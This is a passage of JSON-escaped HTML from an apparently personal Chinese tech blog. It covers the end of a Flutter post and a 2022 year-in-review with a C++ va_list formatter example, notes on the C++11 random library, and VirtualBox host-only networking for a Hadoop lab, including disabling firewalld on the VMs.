class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 清除所有设置\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclear\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://dart.dev/language\" target=\"_blank\" rel=\"noopener\"\u003eDart 语言官方简介\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/get-started/codelab\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 上手教程\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/development/ui/layout/tutorial\" target=\"_blank\" rel=\"noopener\"\u003e布局构建教程\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\u003eTraintime PDA (Watermeter) 代码\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"封面\"\u003e封面\u003c/h2\u003e\n\u003cp\u003eMaggie 去日托所的一天。\u003c/p\u003e\n\u003cp\u003e主要看中了蝴蝶,因为蝴蝶和 Dart 的吉祥物蜂鸟类似。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/flutter-introduction.html"},{"title":"我在 2022 年学到了什么","time":"2022-12-31T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/Cirno-Easter%20Egg.png\" alt=\"Featured image of post 我在 2022 年学到了什么\"/\u003e\u003cp\u003e把去年学到的东西,没说过的拼接一下,回见了您。\n(之前名称叫 Hadoop 额外技能,不能就这样就和老博客同步,索性把大作业里面我顺手提到的东西都罗列一通)\u003c/p\u003e\n\u003ch2 id=\"c-大作业技术罗列\"\u003eC++ 大作业技术罗列\u003c/h2\u003e\n\u003cp\u003eC++ 大作业学到的偏门东西。\u003c/p\u003e\n\u003ch3 id=\"va_list-对象\"\u003eva_list 对象\u003c/h3\u003e\n\u003cp\u003e不用 \u003ccode\u003eprintf()\u003c/code\u003e 函数,运用 \u003ccode\u003ecstdarg\u003c/code\u003e 库实现类似该函数的 \u003ccode\u003eerror()\u003c/code\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e函数原型\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e算法\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e生成 \u003ccode\u003eva_list\u003c/code\u003e 对象,然后初始化。\u003c/li\u003e\n\u003cli\u003e通过对母字符串的逐个字符读取,判断以下情况:\n\u003cul\u003e\n\u003cli\u003e如果不是 \u003ccode\u003e%\u003c/code\u003e 直接输出。\u003c/li\u003e\n\u003cli\u003e如果是 \u003ccode\u003e%\u003c/code\u003e, 后面跟着是:\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align:center\"\u003e输入 |\u003c/th\u003e\n\u003cth style=\"text-align:center\"\u003e输出 |\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003es |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符串 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ec |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ed |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e整型数 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003e% |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e\u003ccode\u003e%\u003c/code\u003e符号 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e注意判断字符还是整数的时候,先按照整型数读入,然后按情况强制类型转换看看。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ecstdarg\u003c/code\u003e 函数库怎么搞不定长形参的?\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e形参的最后一定要是省略号。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_list\u003c/code\u003e 规定一个不定长形参变量。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_start\u003c/code\u003e 让其找到开始位置,之后 \u003ccode\u003eva_arg\u003c/code\u003e 向后读取一个参数。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_end\u003c/code\u003e 终止 \u003ccode\u003eva_list\u003c/code\u003e 存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C++\" data-lang=\"C++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstdarg\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_list\u003c/span\u003e \u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_end\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// For test.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"如何更加省心地随便编个数\"\u003e如何更加省心地随便编个数\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e先引入 C++ 11 标准的全新标准库 \u003ccode\u003erandom\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e先找个能生成随机种子的随机数引擎,我用的是 \u003ccode\u003erandom_device\u003c/code\u003e,在 Linux 上相当于读取 \u003ccode\u003e/dev/urandom\u003c/code\u003e 产生的随机数。我们不使用该引擎生成随机数,因为根据原理,在生成随机数的时候,会产生大量的输入输出中断,一定程度上影响性能,而且会下降 \u003ccode\u003e/dev/urandom\u003c/code\u003e 生成随机数的质量。\u003c/li\u003e\n\u003cli\u003e然后利用上述引擎,生成我们要用的引擎 \u003ccode\u003edefault_random_engine\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e我们利用该随机数引擎,生成随机数。由于我们这里使用无符号的随机数,遵循均匀分布,我们使用 \u003ccode\u003euniform_int_distribution\u0026lt;uint\u0026gt;\u003c/code\u003e 类来生成之。\n顺便说一句,\u003ccode\u003erandom\u003c/code\u003e库还能支持你在概率论课程上学到的所有玩意,比如万恶的正态分布,泊松分布啥的。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何在虚拟机之间搞互联互通-以-virtualbox-为示例\"\u003e如何在虚拟机之间搞互联互通?—— 以 VirtualBox 为示例\u003c/h2\u003e\n\u003cp\u003e为了 Hadoop 的主从模式,我搞了三个虚拟机。\u003c/p\u003e\n\u003ch3 id=\"概述\"\u003e概述\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e管理 -\u0026gt; 主机网络管理器新建一个新网卡 vboxnet0\u003c/li\u003e\n\u003cli\u003e在每个虚拟机的设置中,设置网络为仅主机网络,界面名称 vboxnet0\u003c/li\u003e\n\u003cli\u003e每个虚拟机里面要设置好固定 ip ,关闭防火墙,和 ssh 免密码登录\u003c/li\u003e\n\u003cli\u003e(可选但推荐) 修改所有虚拟机的 host 文件,标记所有虚拟机的地址\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"截图主机网络管理器\"\u003e截图~主机网络管理器\u003c/h3\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/Random/VirtualBox-1.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/VirtualBox-1.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果设置成功的话,你的宿主机应该可以 ping 到你的虚拟机。查看你电脑的 ip,可以执行 \u003ccode\u003eifconfig\u003c/code\u003e 或者 \u003ccode\u003eip a\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"如何关闭网络防火墙\"\u003e如何关闭网络防火墙\u003c/h3\u003e\n\u003cp\u003e基本上我见到的 Linux 系统,防火墙软件都是 \u003ca class=\"link\" href=\"https://firewalld.org/\" target=\"_blank\" rel=\"noopener\"\u003efirewalld\u003c/a\u003e。关闭防火墙,也就是关掉这个服务。所以我们要执行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl stop firewalld.service \u003cspan class=\"c1\"\u003e# 停止防火墙服务\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl disable firewalld.service \u003cspan class=\"c1\"\u003e# 防止防火墙开机自启动\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e说到这了,看看 Systemd 还能搞啥\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl status firewalld.service \u003cspan class=\"c1\"\u003e# 看看这玩意运行状态\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e另外,如果你安装的是 Ubuntu Server ,安装时候可以关掉防火墙选项的。如果你安装的是 OpenSUSE,你也可以在 YaST 里面关掉,或者开 22 和 23 